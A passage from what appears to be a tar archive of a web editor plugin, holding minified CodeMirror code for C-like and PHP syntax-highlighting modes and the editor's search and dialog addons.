false"),hooks:{"#":d,"*":a},modeProps:{fold:["brace","include"]}});b(["text/x-c++src","text/x-c++hdr"],{name:"clike",keywords:i(l+" asm dynamic_cast namespace reinterpret_cast try explicit new static_cast typeid catch operator template typename class friend private this using const_cast inline public throw virtual delete mutable protected alignas alignof constexpr decltype nullptr noexcept thread_local final static_assert override"),types:i(j+" bool wchar_t"),blockKeywords:i("catch class do else finally for if struct switch try while"),defKeywords:i("class namespace struct enum union"),typeFirstDefinitions:true,atoms:i("true false null"),hooks:{"#":d,"*":a,u:k,U:k,L:k,R:k,token:function(o,n,m){if(m=="variable"&&o.peek()=="("&&(n.prevToken==";"||n.prevToken==null||n.prevToken=="}")&&e(o.current())){return"def"}}},namespaceSeparator:"::",modeProps:{fold:["brace","include"]}});b("text/x-java",{name:"clike",keywords:i("abstract assert break case catch class const continue default do else enum extends final finally float for goto if implements import instanceof interface native new package private protected public return static strictfp super switch synchronized this throw throws transient try volatile while"),types:i("byte short int long float double boolean char void Boolean Byte Character Double Float Integer Long Number Object Short String StringBuffer StringBuilder Void"),blockKeywords:i("catch class do else finally for if switch try while"),defKeywords:i("class interface package enum"),typeFirstDefinitions:true,atoms:i("true false null"),hooks:{"@":function(m){m.eatWhile(/[\w\$_]/);return"meta"}},modeProps:{fold:["brace","import"]}});b("text/x-csharp",{name:"clike",keywords:i("abstract as async await base break case catch checked class const continue default delegate do else enum event explicit extern finally fixed for foreach goto if implicit in interface internal is lock namespace new operator out override params private protected public readonly ref return sealed sizeof stackalloc static struct switch this throw try typeof unchecked unsafe using virtual void volatile while add alias ascending descending dynamic from get global group into join let orderby partial remove select set value var yield"),types:i("Action Boolean Byte Char DateTime DateTimeOffset Decimal Double Func Guid Int16 Int32 Int64 Object SByte Single String Task TimeSpan UInt16 UInt32 UInt64 bool byte char decimal double short int long object sbyte float string ushort uint ulong"),blockKeywords:i("catch class do else finally for foreach if struct switch try while"),defKeywords:i("class interface namespace struct var"),typeFirstDefinitions:true,atoms:i("true false null"),hooks:{"@":function(n,m){if(n.eat('"')){m.tokenize=h;return h(n,m)}n.eatWhile(/[\w\$_]/);return"meta"}}});function f(o,m){var n=false;while(!o.eol()){if(!n&&o.match('"""')){m.tokenize=null;break}n=o.next()=="\\"&&!n}return"string"}b("text/x-scala",{name:"clike",keywords:i("abstract case catch class def do else extends false final finally for forSome if implicit import lazy match new null object override package private protected return sealed super this throw trait try type val var while with yield _ : = => <- <: <% >: # @ assert assume require print println printf readLine readBoolean readByte readShort readChar readInt readLong readFloat readDouble :: #:: "),types:i("AnyVal App Application Array BufferedIterator BigDecimal BigInt Char Console Either Enumeration Equiv Error Exception Fractional Function IndexedSeq Integral Iterable Iterator List Map Numeric Nil NotNull Option Ordered Ordering PartialFunction PartialOrdering Product Proxy Range Responder Seq Serializable Set Specializable Stream StringBuilder StringContext Symbol Throwable Traversable TraversableOnce Tuple Unit Vector Boolean Byte Character CharSequence Class ClassLoader Cloneable Comparable Compiler Double Exception Float Integer Long Math Number Object Package Pair Process Runtime Runnable SecurityManager Short StackTraceElement StrictMath String StringBuffer System Thread ThreadGroup ThreadLocal Throwable Triple Void"),multiLineStrings:true,blockKeywords:i("catch class do else finally for forSome if match switch try while"),defKeywords:i("class def object package trait type val var"),atoms:i("true false null"),indentStatements:false,indentSwitch:false,hooks:{"@":function(m){m.eatWhile(/[\w\$_]/);return"meta"},'"':function(n,m){if(!n.match('""')){return false}m.tokenize=f;return m.tokenize(n,m)},"'":function(m){m.eatWhile(/[\w\$_\xa1-\uffff]/);return"atom"}},modeProps:{closeBrackets:{triples:'"'}}});b(["x-shader/x-vertex","x-shader/x-fragment"],{name:"clike",keywords:i("sampler1D sampler2D sampler3D samplerCube sampler1DShadow sampler2DShadow const attribute uniform varying break continue discard return for while do if else struct in out inout"),types:i("float int bool void vec2 vec3 vec4 ivec2 ivec3 ivec4 bvec2 bvec3 bvec4 mat2 mat3 mat4"),blockKeywords:i("for while do if else struct"),builtin:i("radians degrees sin cos tan asin acos atan pow exp log exp2 sqrt inversesqrt abs sign floor ceil fract mod min max clamp mix step smoothstep length distance dot cross normalize ftransform faceforward reflect refract matrixCompMult lessThan lessThanEqual greaterThan greaterThanEqual equal notEqual any all not texture1D texture1DProj texture1DLod texture1DProjLod texture2D texture2DProj texture2DLod texture2DProjLod texture3D texture3DProj texture3DLod texture3DProjLod textureCube textureCubeLod shadow1D shadow2D shadow1DProj shadow2DProj shadow1DLod shadow2DLod shadow1DProjLod shadow2DProjLod dFdx dFdy fwidth noise1 noise2 noise3 noise4"),atoms:i("true false gl_FragColor gl_SecondaryColor gl_Normal gl_Vertex gl_MultiTexCoord0 gl_MultiTexCoord1 gl_MultiTexCoord2 gl_MultiTexCoord3 gl_MultiTexCoord4 gl_MultiTexCoord5 gl_MultiTexCoord6 gl_MultiTexCoord7 gl_FogCoord gl_PointCoord gl_Position gl_PointSize gl_ClipVertex gl_FrontColor gl_BackColor gl_FrontSecondaryColor gl_BackSecondaryColor gl_TexCoord gl_FogFragCoord gl_FragCoord gl_FrontFacing gl_FragData gl_FragDepth gl_ModelViewMatrix gl_ProjectionMatrix gl_ModelViewProjectionMatrix gl_TextureMatrix gl_NormalMatrix gl_ModelViewMatrixInverse gl_ProjectionMatrixInverse gl_ModelViewProjectionMatrixInverse gl_TexureMatrixTranspose gl_ModelViewMatrixInverseTranspose gl_ProjectionMatrixInverseTranspose gl_ModelViewProjectionMatrixInverseTranspose gl_TextureMatrixInverseTranspose gl_NormalScale gl_DepthRange gl_ClipPlane gl_Point gl_FrontMaterial gl_BackMaterial gl_LightSource gl_LightModel gl_FrontLightModelProduct gl_BackLightModelProduct gl_TextureColor gl_EyePlaneS gl_EyePlaneT gl_EyePlaneR gl_EyePlaneQ gl_FogParameters gl_MaxLights gl_MaxClipPlanes gl_MaxTextureUnits gl_MaxTextureCoords gl_MaxVertexAttribs gl_MaxVertexUniformComponents gl_MaxVaryingFloats gl_MaxVertexTextureImageUnits gl_MaxTextureImageUnits gl_MaxFragmentUniformComponents gl_MaxCombineTextureImageUnits gl_MaxDrawBuffers"),indentSwitch:false,hooks:{"#":d},modeProps:{fold:["brace","include"]}});b("text/x-nesc",{name:"clike",keywords:i(l+"as atomic async call command component components configuration event generic implementation includes interface module new norace nx_struct nx_union post provides signal task uses abstract extends"),types:i(j),blockKeywords:i("case do else for if switch while struct"),atoms:i("null true false"),hooks:{"#":d},modeProps:{fold:["brace","include"]}});b("text/x-objectivec",{name:"clike",keywords:i(l+"inline restrict _Bool _Complex _Imaginery BOOL Class bycopy byref id IMP in inout nil oneway out Protocol SEL self super atomic nonatomic retain copy readwrite readonly"),types:i(j),atoms:i("YES NO NULL NILL ON OFF true false"),hooks:{"@":function(m){m.eatWhile(/[\w\$]/);return"keyword"},"#":d},modeProps:{fold:"brace"}})});(function(a){if(typeof exports=="object"&&typeof module=="object"){a(require("../../lib/codemirror"),require("../htmlmixed/htmlmixed"),require("../clike/clike"))}else{if(typeof define=="function"&&define.amd){define(["../../lib/codemirror","../htmlmixed/htmlmixed","../clike/clike"],a)}else{a(CodeMirror)}}})(function(d){function f(m){var k={},l=m.split(" ");for(var j=0;j<l.length;++j){k[l[j]]=true}return k}function e(l,j,k){if(l.length==0){return b(j)}return function(p,o){var n=l[0];for(var m=0;m<n.length;m++){if(p.match(n[m][0])){o.tokenize=e(l.slice(1),j);return n[m][1]}}o.tokenize=b(j,k);return"string"}}function b(k,j){return function(m,l){return c(m,l,k,j)}}function c(n,l,k,j){if(j!==false&&n.match("${",false)||n.match("{$",false)){l.tokenize=null;return"string"}if(j!==false&&n.match(/^\$[a-zA-Z_][a-zA-Z0-9_]*/)){if(n.match("[",false)){l.tokenize=e([[["[",null]],[[/\d[\w\.]*/,"number"],[/\$[a-zA-Z_][a-zA-Z0-9_]*/,"variable-2"],[/[\w\$]+/,"variable"]],[["]",null]]],k,j)}if(n.match(/\-\>\w/,false)){l.tokenize=e([[["->",null]],[[/[\w]+/,"variable"]]],k,j)}return"variable-2"}var m=false;while(!n.eol()&&(m||j===false||(!n.match("{$",false)&&!n.match(/^(\$[a-zA-Z_][a-zA-Z0-9_]*|\$\{)/,false)))){if(!m&&n.match(k)){l.tokenize=null;l.tokStack.pop();l.tokStack.pop();break}m=n.next()=="\\"&&!m}return"string"}var h="abstract and array as break case catch class clone const continue declare default do else elseif enddeclare endfor endforeach endif endswitch endwhile extends final for foreach function global goto if implements interface instanceof namespace new or private protected public static switch throw trait try use var while xor die echo empty exit eval include include_once isset list require require_once return print unset __halt_compiler self static parent yield insteadof finally";var i="true false null TRUE FALSE NULL __CLASS__ __DIR__ __FILE__ __LINE__ __METHOD__ __FUNCTION__ __NAMESPACE__ __TRAIT__";var a="func_num_args func_get_arg func_get_args strlen strcmp strncmp strcasecmp strncasecmp each error_reporting define defined trigger_error user_error set_error_handler restore_error_handler get_declared_classes get_loaded_extensions extension_loaded get_extension_funcs debug_backtrace constant bin2hex hex2bin sleep usleep time mktime gmmktime strftime gmstrftime strtotime date gmdate getdate localtime checkdate flush wordwrap htmlspecialchars htmlentities html_entity_decode md5 md5_file crc32 getimagesize image_type_to_mime_type phpinfo phpversion phpcredits strnatcmp strnatcasecmp substr_count strspn strcspn strtok strtoupper strtolower strpos strrpos strrev hebrev hebrevc nl2br basename dirname pathinfo stripslashes stripcslashes strstr stristr strrchr str_shuffle str_word_count strcoll substr substr_replace quotemeta ucfirst ucwords strtr addslashes addcslashes rtrim str_replace str_repeat count_chars chunk_split trim ltrim strip_tags similar_text explode implode setlocale localeconv parse_str str_pad chop strchr sprintf printf vprintf vsprintf sscanf fscanf parse_url urlencode urldecode rawurlencode rawurldecode readlink linkinfo link unlink exec system escapeshellcmd escapeshellarg passthru shell_exec proc_open proc_close rand srand getrandmax mt_rand mt_srand mt_getrandmax base64_decode base64_encode abs ceil floor round is_finite is_nan is_infinite bindec hexdec octdec decbin decoct dechex base_convert number_format fmod ip2long long2ip getenv putenv getopt microtime gettimeofday getrusage uniqid quoted_printable_decode set_time_limit get_cfg_var magic_quotes_runtime set_magic_quotes_runtime get_magic_quotes_gpc get_magic_quotes_runtime import_request_variables error_log serialize unserialize memory_get_usage var_dump var_export debug_zval_dump print_r highlight_file show_source highlight_string ini_get ini_get_all ini_set ini_alter ini_restore get_include_path set_include_path restore_include_path setcookie header headers_sent connection_aborted connection_status ignore_user_abort parse_ini_file is_uploaded_file move_uploaded_file intval floatval doubleval strval gettype settype is_null is_resource is_bool is_long is_float is_int is_integer is_double is_real is_numeric is_string is_array is_object is_scalar ereg ereg_replace eregi eregi_replace split spliti join sql_regcase dl pclose popen readfile rewind rmdir umask fclose feof fgetc fgets fgetss fread fopen fpassthru ftruncate fstat fseek ftell fflush fwrite fputs mkdir rename copy tempnam tmpfile file file_get_contents stream_select stream_context_create stream_context_set_params stream_context_set_option stream_context_get_options stream_filter_prepend stream_filter_append fgetcsv flock get_meta_tags stream_set_write_buffer set_file_buffer set_socket_blocking stream_set_blocking socket_set_blocking stream_get_meta_data stream_register_wrapper stream_wrapper_register stream_set_timeout socket_set_timeout socket_get_status realpath fnmatch fsockopen pfsockopen pack unpack get_browser crypt opendir closedir chdir getcwd rewinddir readdir dir glob fileatime filectime filegroup fileinode filemtime fileowner fileperms filesize filetype file_exists is_writable is_writeable is_readable is_executable is_file is_dir is_link stat lstat chown touch clearstatcache mail ob_start ob_flush ob_clean ob_end_flush ob_end_clean ob_get_flush ob_get_clean ob_get_length ob_get_level ob_get_status ob_get_contents ob_implicit_flush ob_list_handlers ksort krsort natsort natcasesort asort arsort sort rsort usort uasort uksort shuffle array_walk count end prev next reset current key min max in_array array_search extract compact array_fill range array_multisort array_push array_pop array_shift array_unshift array_splice array_slice array_merge array_merge_recursive array_keys array_values array_count_values array_reverse array_reduce array_pad array_flip array_change_key_case array_rand array_unique array_intersect array_intersect_assoc array_diff array_diff_assoc array_sum array_filter array_map array_chunk array_key_exists pos sizeof key_exists assert assert_options version_compare ftok str_rot13 aggregate session_name session_module_name session_save_path session_id session_regenerate_id session_decode session_register session_unregister session_is_registered session_encode session_start session_destroy session_unset session_set_save_handler session_cache_limiter session_cache_expire session_set_cookie_params session_get_cookie_params session_write_close preg_match preg_match_all preg_replace preg_replace_callback preg_split preg_quote preg_grep overload ctype_alnum ctype_alpha ctype_cntrl ctype_digit ctype_lower ctype_graph ctype_print ctype_punct ctype_space ctype_upper ctype_xdigit virtual apache_request_headers apache_note apache_lookup_uri apache_child_terminate apache_setenv apache_response_headers apache_get_version getallheaders mysql_connect mysql_pconnect mysql_close mysql_select_db mysql_create_db mysql_drop_db mysql_query mysql_unbuffered_query mysql_db_query mysql_list_dbs mysql_list_tables mysql_list_fields mysql_list_processes mysql_error mysql_errno mysql_affected_rows mysql_insert_id mysql_result mysql_num_rows mysql_num_fields mysql_fetch_row mysql_fetch_array mysql_fetch_assoc mysql_fetch_object mysql_data_seek mysql_fetch_lengths mysql_fetch_field mysql_field_seek mysql_free_result mysql_field_name mysql_field_table mysql_field_len mysql_field_type mysql_field_flags mysql_escape_string mysql_real_escape_string mysql_stat mysql_thread_id mysql_client_encoding mysql_get_client_info mysql_get_host_info mysql_get_proto_info mysql_get_server_info mysql_info mysql mysql_fieldname mysql_fieldtable mysql_fieldlen mysql_fieldtype mysql_fieldflags mysql_selectdb mysql_createdb mysql_dropdb mysql_freeresult mysql_numfields mysql_numrows mysql_listdbs mysql_listtables mysql_listfields mysql_db_name mysql_dbname mysql_tablename mysql_table_name pg_connect pg_pconnect pg_close pg_connection_status pg_connection_busy pg_connection_reset pg_host pg_dbname pg_port pg_tty pg_options pg_ping pg_query pg_send_query pg_cancel_query pg_fetch_result pg_fetch_row pg_fetch_assoc pg_fetch_array pg_fetch_object pg_fetch_all pg_affected_rows pg_get_result pg_result_seek pg_result_status pg_free_result pg_last_oid pg_num_rows pg_num_fields pg_field_name pg_field_num pg_field_size pg_field_type pg_field_prtlen pg_field_is_null pg_get_notify pg_get_pid pg_result_error pg_last_error pg_last_notice pg_put_line pg_end_copy pg_copy_to pg_copy_from pg_trace pg_untrace pg_lo_create pg_lo_unlink pg_lo_open pg_lo_close pg_lo_read pg_lo_write pg_lo_read_all pg_lo_import pg_lo_export pg_lo_seek pg_lo_tell pg_escape_string pg_escape_bytea pg_unescape_bytea pg_client_encoding pg_set_client_encoding pg_meta_data pg_convert pg_insert pg_update pg_delete pg_select pg_exec pg_getlastoid pg_cmdtuples pg_errormessage pg_numrows pg_numfields pg_fieldname pg_fieldsize pg_fieldtype pg_fieldnum pg_fieldprtlen pg_fieldisnull pg_freeresult pg_result pg_loreadall pg_locreate pg_lounlink pg_loopen pg_loclose pg_loread pg_lowrite pg_loimport pg_loexport http_response_code get_declared_traits getimagesizefromstring socket_import_stream stream_set_chunk_size trait_exists header_register_callback class_uses session_status session_register_shutdown echo print global static exit array empty eval isset unset die include require include_once require_once json_decode json_encode json_last_error json_last_error_msg curl_close curl_copy_handle curl_errno curl_error curl_escape curl_exec curl_file_create curl_getinfo curl_init curl_multi_add_handle curl_multi_close curl_multi_exec curl_multi_getcontent curl_multi_info_read curl_multi_init curl_multi_remove_handle curl_multi_select curl_multi_setopt curl_multi_strerror curl_pause curl_reset curl_setopt_array curl_setopt curl_share_close curl_share_init curl_share_setopt curl_strerror curl_unescape curl_version mysqli_affected_rows mysqli_autocommit mysqli_change_user mysqli_character_set_name mysqli_close mysqli_commit mysqli_connect_errno mysqli_connect_error mysqli_connect mysqli_data_seek mysqli_debug mysqli_dump_debug_info mysqli_errno mysqli_error_list mysqli_error mysqli_fetch_all mysqli_fetch_array mysqli_fetch_assoc mysqli_fetch_field_direct mysqli_fetch_field mysqli_fetch_fields mysqli_fetch_lengths mysqli_fetch_object mysqli_fetch_row mysqli_field_count mysqli_field_seek mysqli_field_tell mysqli_free_result mysqli_get_charset mysqli_get_client_info mysqli_get_client_stats mysqli_get_client_version mysqli_get_connection_stats mysqli_get_host_info mysqli_get_proto_info mysqli_get_server_info mysqli_get_server_version mysqli_info mysqli_init mysqli_insert_id mysqli_kill mysqli_more_results mysqli_multi_query mysqli_next_result mysqli_num_fields mysqli_num_rows mysqli_options mysqli_ping mysqli_prepare mysqli_query mysqli_real_connect mysqli_real_escape_string mysqli_real_query mysqli_reap_async_query mysqli_refresh mysqli_rollback mysqli_select_db mysqli_set_charset mysqli_set_local_infile_default mysqli_set_local_infile_handler mysqli_sqlstate mysqli_ssl_set mysqli_stat mysqli_stmt_init mysqli_store_result mysqli_thread_id mysqli_thread_safe mysqli_use_result mysqli_warning_count";d.registerHelper("hintWords","php",[h,i,a].join(" ").split(" "));d.registerHelper("wordChars","php",/[\w$]/);var g={name:"clike",helperType:"php",keywords:f(h),blockKeywords:f("catch do else elseif for foreach if switch try while finally"),defKeywords:f("class function interface namespace trait"),atoms:f(i),builtin:f(a),multiLineStrings:true,hooks:{"$":function(j){j.eatWhile(/[\w\$_]/);return"variable-2"},"<":function(m,k){if(m.match(/<</)){var j=m.eat("'");m.eatWhile(/[\w\.]/);var l=m.current().slice(3+(j?1:0));if(j){m.eat("'")}if(l){(k.tokStack||(k.tokStack=[])).push(l,0);k.tokenize=b(l,j?false:true);return"string"}}return false},"#":function(j){while(!j.eol()&&!j.match("?>",false)){j.next()}return"comment"},"/":function(j){if(j.eat("/")){while(!j.eol()&&!j.match("?>",false)){j.next()}return"comment"}return false},'"':function(j,k){(k.tokStack||(k.tokStack=[])).push('"',0);k.tokenize=b('"');return"string"},"{":function(j,k){if(k.tokStack&&k.tokStack.length){k.tokStack[k.tokStack.length-1]++}return false},"}":function(j,k){if(k.tokStack&&k.tokStack.length>0&&!--k.tokStack[k.tokStack.length-1]){k.tokenize=b(k.tokStack[k.tokStack.length-2])}return false}}};d.defineMode("php",function(l,m){var n=d.getMode(l,"text/html");var j=d.getMode(l,g);function k(u,s){var r=s.curMode==j;if(u.sol()&&s.pending&&s.pending!='"'&&s.pending!="'"){s.pending=null}if(!r){if(u.match(/^<\?\w*/)){s.curMode=j;s.curState=s.php;return"meta"}if(s.pending=='"'||s.pending=="'"){while(!u.eol()&&u.next()!=s.pending){}var q="string"}else{if(s.pending&&u.pos<s.pending.end){u.pos=s.pending.end;var q=s.pending.style}else{var q=n.token(u,s.curState)}}if(s.pending){s.pending=null}var t=u.current(),p=t.search(/<\?/),o;if(p!=-1){if(q=="string"&&(o=t.match(/[\'\"]$/))&&!/\?>/.test(t)){s.pending=o[0]}else{s.pending={end:u.pos,style:q}}u.backUp(t.length-p)}return q}else{if(r&&s.php.tokenize==null&&u.match("?>")){s.curMode=n;s.curState=s.html;return"meta"}else{return j.token(u,s.curState)}}}return{startState:function(){var o=d.startState(n),p=d.startState(j);return{html:o,php:p,curMode:m.startOpen?j:n,curState:m.startOpen?p:o,pending:null}},copyState:function(r){var p=r.html,q=d.copyState(n,p),t=r.php,o=d.copyState(j,t),s;if(r.curMode==n){s=q}else{s=o}return{html:q,php:o,curMode:r.curMode,curState:s,pending:r.pending}},token:k,indent:function(p,o){if((p.curMode!=j&&/^\s*<\//.test(o))||(p.curMode==j&&/^\?>/.test(o))){return n.indent(p.html,o)}return p.curMode.indent(p.curState,o)},blockCommentStart:"/*",blockCommentEnd:"*/",lineComment:"//",innerMode:function(o){return{state:o.curState,mode:o.curMode}}}},"htmlmixed","clike");d.defineMIME("application/x-httpd-php","php");d.defineMIME("application/x-httpd-php-open",{name:"php",startOpen:true});d.defineMIME("text/x-php",g)});                                                                                                                                                                                                                                                                                                                                           editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/js/codemirror.addons.search.min.js          0000705                 00000021763 15242051521 0026235 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       (function(n){typeof exports=="object"&&typeof module=="object"?n(require("../../lib/codemirror")):typeof define=="function"&&define.amd?define(["../../lib/codemirror"],n):n(CodeMirror)})(function(n){function t(n,t,i){var u=n.getWrapperElement(),r;return r=u.appendChild(document.createElement("div")),r.className=i?"CodeMirror-dialog CodeMirror-dialog-bottom":"CodeMirror-dialog CodeMirror-dialog-top",typeof t=="string"?r.innerHTML=t:r.appendChild(t),r}function i(n,t){n.state.currentNotificationClose&&n.state.currentNotificationClose();n.state.currentNotificationClose=t}n.defineExtension("openDialog",function(r,u,f){function o(n){if(typeof n=="string")e.value=n;else{if(c)return;if(c=!0,s.parentNode.removeChild(s),l.focus(),f.onClose)f.onClose(s)}}var e,h;f||(f={});i(this,null);var s=t(this,r,f.bottom),c=!1,l=this;if(e=s.getElementsByTagName("input")[0],e){if(f.value&&(e.value=f.value,f.selectValueOnOpen!==!1&&e.select()),f.onInput)n.on(e,"input",function(n){f.onInput(n,e.value,o)});if(f.onKeyUp)n.on(e,"keyup",function(n){f.onKeyUp(n,e.value,o)});n.on(e,"keydown",function(t){f&&f.onKeyDown&&f.onKeyDown(t,e.value,o)||((t.keyCode==27||f.closeOnEnter!==!1&&t.keyCode==13)&&(e.blur(),n.e_stop(t),o()),t.keyCode==13&&u(e.value,t))});if(f.closeOnBlur!==!1)n.on(e,"blur",o);e.focus()}else if(h=s.getElementsByTagName("button")[0]){n.on(h,"click",function(){o();l.focus()});if(f.closeOnBlur!==!1)n.on(h,"blur",o);h.focus()}return o});n.defineExtension("openConfirm",function(r,u,f){function v(){l||(l=!0,s.parentNode.removeChild(s),a.focus())}var e,o;i(this,null);var s=t(this,r,f&&f.bottom),h=s.getElementsByTagName("button"),l=!1,a=this,c=1;for(h[0].focus(),e=0;e<h.length;++e){o=h[e],function(t){n.on(o,"click",function(i){n.e_preventDefault(i);v();t&&t(a)})}(u[e]);n.on(o,"blur",function(){--c;setTimeout(function(){c<=0&&v()},200)});n.on(o,"focus",function(){++c})}});n.defineExtension("openNotification",function(r,u){function f(){o||(o=!0,clearTimeout(s),e.parentNode.removeChild(e))}i(this,f);var e=t(this,r,u&&u.bottom),o=!1,s,h=u&&typeof u.duration!="undefined"?u.duration:5e3;n.on(e,"click",function(t){n.e_preventDefault(t);f()});return h&&(s=setTimeout(f,h)),f})}),function(n){typeof exports=="object"&&typeof module=="object"?n(require("../../lib/codemirror"),require("./searchcursor"),require("../dialog/dialog")):typeof define=="function"&&define.amd?define(["../../lib/codemirror","./searchcursor","../dialog/dialog"],n):n(CodeMirror)}(function(n){"use strict";function c(n,t){return typeof n=="string"?n=new RegExp(n.replace(/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g,"\\$&"),t?"gi":"g"):n.global||(n=new RegExp(n.source,n.ignoreCase?"gi":"g")),{token:function(t){n.lastIndex=t.pos;var i=n.exec(t.string);if(i&&i.index==t.pos)return t.pos+=i[0].length,"searching";i?t.pos=i.index:t.skipToEnd()}}}function l(){this.posFrom=this.posTo=this.lastQuery=this.query=null;this.overlay=null}function i(n){return n.state.search||(n.state.search=new l)}function r(n){return typeof n=="string"&&n==n.toLowerCase()}function t(n,t,i){return n.getSearchCursor(t,i,r(t))}function u(n,t,i,r,u){n.openDialog?n.openDialog(t,u,{value:r,selectValueOnOpen:!0}):u(prompt(i,r))}function a(n,t,i,r){n.openConfirm?n.openConfirm(t,r):confirm(i)&&r[0]()}function o(n){var t=n.match(/^\/(.*)\/([a-z]*)$/);if(t)try{n=new RegExp(t[1],t[2].indexOf("i")==-1?"":"i")}catch(i){}return(typeof n=="string"?n=="":n.test(""))&&(n=/x^/),n}function f(n,t){var f=i(n),e;if(f.query)return s(n,t);e=n.getSelection()||f.lastQuery;u(n,v,"Search for:",e,function(i){n.operation(function(){i&&!f.query&&(f.query=o(i),n.removeOverlay(f.overlay,r(f.query)),f.overlay=c(f.query,r(f.query)),n.addOverlay(f.overlay),n.showMatchesOnScrollbar&&(f.annotate&&(f.annotate.clear(),f.annotate=null),f.annotate=n.showMatchesOnScrollbar(f.query,r(f.query))),f.posFrom=f.posTo=n.getCursor(),s(n,t))})})}function s(r,u){r.operation(function(){var e=i(r),f=t(r,e.query,u?e.posFrom:e.posTo);(f.find(u)||(f=t(r,e.query,u?n.Pos(r.lastLine()):n.Pos(r.firstLine(),0)),f.find(u)))&&(r.setSelection(f.from(),f.to()),r.scrollIntoView({from:f.from(),to:f.to()}),e.posFrom=f.from(),e.posTo=f.to())})}function e(n){n.operation(function(){var t=i(n);(t.lastQuery=t.query,t.query)&&(t.query=null,n.removeOverlay(t.overlay),t.annotate&&(t.annotate.clear(),t.annotate=null))})}function h(n,r){if(!n.getOption("readOnly")){var f=n.getSelection()||i(n).lastQuery;u(n,y,"Replace:",f,function(i){i&&(i=o(i),u(n,p,"Replace with:","",function(u){if(r)n.operation(function(){for(var f,r=t(n,i);r.findNext();)typeof i!="string"?(f=n.getRange(r.from(),r.to()).match(i),r.replace(u.replace(/\$(\d)/g,function(n,t){return f[t]}))):r.replace(u)});else{e(n);var f=t(n,i,n.getCursor()),o=function(){var r=f.from(),u;((u=f.findNext())||(f=t(n,i),(u=f.findNext())&&(!r||f.from().line!=r.line||f.from().ch!=r.ch)))&&(n.setSelection(f.from(),f.to()),n.scrollIntoView({from:f.from(),to:f.to()}),a(n,w,"Replace?",[function(){s(u)},o]))},s=function(n){f.replace(typeof i=="string"?u:u.replace(/\$(\d)/g,function(t,i){return n[i]}));o()};o()}}))})}}var v='Search: <input type="text" style="width: 10em" class="CodeMirror-search-field"/> <span style="color: #888" class="CodeMirror-search-hint">(Use /re/ syntax for regexp search)<\/span>',y='Replace: <input type="text" style="width: 10em" class="CodeMirror-search-field"/> <span style="color: #888" class="CodeMirror-search-hint">(Use /re/ syntax for regexp search)<\/span>',p='With: <input type="text" style="width: 10em" class="CodeMirror-search-field"/>',w="Replace? <button>Yes<\/button> <button>No<\/button> <button>Stop<\/button>";n.commands.find=function(n){e(n);f(n)};n.commands.findNext=f;n.commands.findPrev=function(n){f(n,!0)};n.commands.clearSearch=e;n.commands.replace=h;n.commands.replaceAll=function(n){h(n,!0)}}),function(n){typeof exports=="object"&&typeof module=="object"?n(require("../../lib/codemirror")):typeof define=="function"&&define.amd?define(["../../lib/codemirror"],n):n(CodeMirror)}(function(n){"use strict";function i(n,i,u,f){var h,o,e,s;this.atOccurrence=!1;this.doc=n;f==null&&typeof i=="string"&&(f=!1);u=u?n.clipPos(u):t(0,0);this.pos={from:u,to:u};typeof i!="string"?(i.global||(i=new RegExp(i.source,i.ignoreCase?"ig":"g")),this.matches=function(r,u){var o,h,f,s,c,e;if(r){for(i.lastIndex=0,o=n.getLine(u.line).slice(0,u.ch),h=0;;){if(i.lastIndex=h,c=i.exec(o),!c)break;if(f=c,s=f.index,h=f.index+(f[0].length||1),h==o.length)break}e=f&&f[0].length||0;e||(s==0&&o.length==0?f=undefined:s!=n.getLine(u.line).length&&e++)}else{i.lastIndex=u.ch;var o=n.getLine(u.line),f=i.exec(o),e=f&&f[0].length||0,s=f&&f.index;s+e==o.length||e||(e=1)}if(f&&e)return{from:t(u.line,s),to:t(u.line,s+e),match:f}}):(h=i,f&&(i=i.toLowerCase()),o=f?function(n){return n.toLowerCase()}:function(n){return n},e=i.split("\n"),e.length==1?this.matches=i.length?function(u,f){if(u){var s=n.getLine(f.line).slice(0,f.ch),c=o(s),e=c.lastIndexOf(i);if(e>-1)return e=r(s,c,e),{from:t(f.line,e),to:t(f.line,e+h.length)}}else{var s=n.getLine(f.line).slice(f.ch),c=o(s),e=c.indexOf(i);if(e>-1)return e=r(s,c,e)+f.ch,{from:t(f.line,e),to:t(f.line,e+h.length)}}}:function(){}:(s=h.split("\n"),this.matches=function(i,r){var h=e.length-1,a,c,l,v,u,f;if(i){if(r.line-(e.length-1)<n.firstLine())return;if(o(n.getLine(r.line).slice(0,s[h].length))!=e[e.length-1])return;for(a=t(r.line,s[h].length),u=r.line-1,f=h-1;f>=1;--f,--u)if(e[f]!=o(n.getLine(u)))return;return(c=n.getLine(u),l=c.length-s[0].length,o(c.slice(l))!=e[0])?void 0:{from:t(u,l),to:a}}if(!(r.line+(e.length-1)>n.lastLine())&&(c=n.getLine(r.line),l=c.length-s[0].length,o(c.slice(l))==e[0])){for(v=t(r.line,l),u=r.line+1,f=1;f<h;++f,++u)if(e[f]!=o(n.getLine(u)))return;if(o(n.getLine(u).slice(0,s[h].length))==e[h])return{from:v,to:t(u,s[h].length)}}}))}function r(n,t,i){var r,u;if(n.length==t.length)return i;for(r=Math.min(i,n.length);;)if(u=n.slice(0,r).toLowerCase().length,u<i)++r;else if(u>i)--r;else return r}var t=n.Pos;i.prototype={findNext:function(){return this.find(!1)},findPrevious:function(){return this.find(!0)},find:function(n){function f(n){var i=t(n,0);return u.pos={from:i,to:i},u.atOccurrence=!1,!1}for(var u=this,i=this.doc.clipPos(n?this.pos.from:this.pos.to),r;;){if(this.pos=this.matches(n,i))return this.atOccurrence=!0,this.pos.match||!0;if(n){if(!i.line)return f(0);i=t(i.line-1,this.doc.getLine(i.line-1).length)}else{if(r=this.doc.lineCount(),i.line==r-1)return f(r);i=t(i.line+1,0)}}},from:function(){if(this.atOccurrence)return this.pos.from},to:function(){if(this.atOccurrence)return this.pos.to},replace:function(i,r){if(this.atOccurrence){var u=n.splitLines(i);this.doc.replaceRange(u,this.pos.from,this.pos.to,r);this.pos.to=t(this.pos.from.line+u.length-1,u[u.length-1].length+(u.length==1?this.pos.from.ch:0))}}};n.defineExtension("getSearchCursor",function(n,t,r){return new i(this.doc,n,t,r)});n.defineDocExtension("getSearchCursor",function(n,t,r){return new i(this,n,t,r)});n.defineExtension("selectMatches",function(t,i){for(var 